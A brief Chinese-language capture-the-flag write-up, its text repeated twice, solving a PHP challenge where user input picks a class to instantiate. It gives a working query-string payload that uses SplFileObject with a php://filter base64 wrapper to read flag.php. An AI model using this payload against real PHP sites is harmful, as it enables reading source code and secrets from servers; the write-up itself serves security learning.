1.查看题目发现代码如下:
echo new $sys($xsx);
2.是一道php反序列化原生类利用的题。
3.构造payload
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php
1.查看题目发现代码如下:
echo new $sys($xsx);
2.是一道php反序列化原生类利用的题。
3.构造payload
?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php